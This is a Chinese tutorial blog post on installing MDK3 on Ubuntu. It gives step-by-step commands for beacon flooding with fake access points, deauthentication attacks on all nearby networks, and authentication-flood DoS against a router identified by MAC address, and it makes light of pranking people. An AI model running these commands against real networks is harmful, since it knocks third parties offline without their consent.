ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死

摘要:
  MDK3是?
  MDK3是?

MDK3 是一款无线DOS 攻击测试工具,能够发起Beacon Flood、Authentication DoS、Deauthentication/Disassociation Amok 等模式的攻击,另外它还具有针对隐藏ESSID 的暴力探测模式、802.1X 渗透测试等功能

  安装MDK3

打开文件 /etc/apt/sources.list ,添加kali源:

sudo gedit /etc/apt/sources.list

ubuntu系统安装MDK3需要kali的源, 我们在文件末尾添加 源:

deb http://mirrors.aliyun.com/kali sana main non-free contrib  
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free  
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free  

再执行命令安装:

sudo apt-get install mdk3

如果mdk3创建成功了, 在命令行输入 sudo mdk3 ,会出现一下提示:

MDK 3.0 v6 - "Yeah, well, whatever"
by ASPj of k2wrlz, using the osdep library from aircrack-ng
And with lots of help from the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik
THANK YOU!
MDK is a proof-of-concept tool to exploit common IEEE 802.11protocol weaknesses.
IMPORTANT: It is your responsibility to make sure you have permission fromthe
network owner before running MDK against it.
This code islicenced under the GPLv2
MDK USAGE:
mdk3 <interface> <test_mode>[test_options]
Try mdk3 --fullhelp forall test options
Try mdk3 --help <test_mode> forinfo about one test only
TEST MODES:
b   -Beacon Flood Mode
      Sends beacon frames to show fake APs at clients.
      This can sometimes crash network scanners and even drivers!
a   -Authentication DoS mode
      Sends authentication frames to all APs found inrange.
      Too much clients freeze or reset some APs.
p   -Basic probing and ESSID Bruteforce mode
      Probes AP and check for answer, useful for checking ifSSID has
      been correctly decloaked or if AP is inyour adaptors sending range
      SSID Bruteforcing is also possible with thistest mode.
d   - Deauthentication /Disassociation Amok Mode
      Kicks everybody found fromAP
m   -Michael shutdown exploitation (TKIP)
      Cancels all traffic continuously
x   - 802.1X tests
w   - WIDS/WIPS Confusion
      Confuse/Abuse Intrusion Detection and Prevention Systems
f   -MAC filter bruteforce mode
      This test uses a list of known client MAC Adresses and tries to
      authenticate them to the given AP whiledynamically changing
      its response timeout forbest performance. It currently works only
      on APs who deny an open authentication request properly
g   -WPA Downgrade test
      deauthenticates Stations and APs sending WPA encrypted packets.
      With this test you can check if the sysadmin will trysetting his
      network to WEP or disable encryption.
  使用MDK3创建伪热点AP

把网卡wlx001d0f04f093设定为混杂模式, 网卡名字是参考ifconfig, 因为没一台计算机网卡都不同 :

ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死第1张

sudo airmon-ng start wlx001d0f04f093

执行这个最最要的命令, 创建一个名字为:测试模拟WIFI的 热点:

sudo mdk3 mon0 b -n 测试WIFI -t -c 6 -s 80

ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死第2张

创建一堆伪热点AP, 首先需要一个文件, 文件里面保存了所有的WIIF名, 比如文件名为wifis.txt , 内容为:

白日依山尽
黄河入海流
欲穷千里目
更上一层楼

如果前面已经执行sudo airmon-ng start wlx001d0f04f093 ,那就不要再执行,否者务必重新执行一遍 ,然后构造mdk3的命令:

 sudo mdk3 mon0 b -f ./wifis.txt -t -c 6 

ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死第3张

然后就可以出去恶搞啦, 弄一堆WIFI骗人, 虽然这个没啥用处 >.<

  攻击WIIF热点,解除验证攻击

Deauthentication/Disassociation Amok 解除验证攻击, 在这个模式下,软件会向周围所有可见AP发起循环攻击......可以造成一定范围内的无线网络瘫痪

首先通过sudo airodump-ng mon0获取要攻击的信道:

sudo airodump-ng mon0

ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死第4张

如果要攻击信道为11的路由, 构造的命令如下:

sudo mdk3 mon0 d -c 11  

解除验证攻击也可以设置白名单和黑名单, 让指定的AP不受该攻击的影响, 具体可以参考帮助文档:

sudo mdk3 --help d
  Authentication DoS

Authentication DoS,这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应, 如果路由不死的话,其实客户上网也是非常卡的, 亲身经历..

-a后面的参数为 目标AP的MAC地址:

sudo mdk3 mon0 a -a 5C:63:BF:C4:A4:CE
  参考

MDK3GITHUB:https://github.com/wi-fi-analyzer/mdk3-master

无线攻击神器--MDK3 使用方法:http://ju.outofmemory.cn/entry/148457

ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死第5张作者:NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830

免责声明:文章转载自《ubuntu-16.04使用MDK3伪造wifi热点和攻击wifi热点至死》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇批判“await使用中的阻塞和并发”——对asyc/await这对基友的误会和更正第12课 特殊成员函数的生成机制下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Debian 9 启动后进入命令行

打开 default grub 配置 $ sudo vi /etc/default/grub 修改以下3处内容 1. 找到行 GRUB_CMDLINE_LINUX_DEFAULT="quiet",加#注释掉这一行配置,修改为 #GRUB_CMDLINE_LINUX_DEFAULT="quiet" 2. 找到行 GRUB_CMDLINE_LINUX="",修...

Linux的硬盘使用情况、挂载、SSD挂载(查看df -h不能看到的卷)

Linux的硬盘使用情况、挂载、SSD挂载(查看df -h不能看到的卷) 解决AWS 挂载、解决挂载完重启就消失等问题 linux上的盘和window的有区别,磁盘空间必须挂载在目录上,要不然没用 对与新增的硬盘、SSD固态硬盘、挂载到linux上的操作如下:  df -h         #显示目前在Linux系统上的文件系统的磁盘使用情况统计。  ls...

win7下Visualbox 装Ubuntu10.10, 装eclipsecdt+svn插件全过程

这几天,断断续续花了不少时间安装了Win7 旗舰版,然后在Win7下安装了Visualbox,Visualbox中运行Ubuntu10.10。 然后,在Ubuntu10.10中配置Prophet环境,安装eclipse-cdt,eclipse中配置svn的插件subclipse。我现在把整个过程写下来。 第一步:安装虚拟机和ubuntu,让ubuntu共享...

-bash: Chmod: command not found

是增加该文件的所有者拥有运行权限如果所有者是root ,还要加sudochmod u+x drlinuxclient.bin(sudo) chmod u+x drlinuxclient.bin  (sudo) chmod u+x drlinuxclient.bin 正确命令: sudo chmod 744 perfCheck.sh...

Ubuntu必备软件之搜狗输入法

1.下载 首先,和Windows下下载搜狗输入法智慧版不同,Ubuntu是Linux操作系统,所以要使用搜狗输入法For Linux,官方下载页面 click here 我下载得到了 sogoupinyin_2.4.0.3469_amd64.deb 这个文件。 2.安装 我们得到了一个 deb 文件,接下来安装搜狗输入法 sudo dpkg -i sog...

Snort-IPS-入侵防御系统安装及部署小记

安装环境为Ubuntu,使用源码编译方式安装并导入社区Snort规则;通过Splunk做GUI展示,联合防火墙做防御,依据Snort官网文档操作。 Ubuntu 18和20上的Snort 3.0.1用Splunk当SIEM 诺亚·迪特里希 内容介绍 安装Snort 配置网卡 安装OpenApplD 安装Snort规则集 启用内置规则 将PCAP文件传...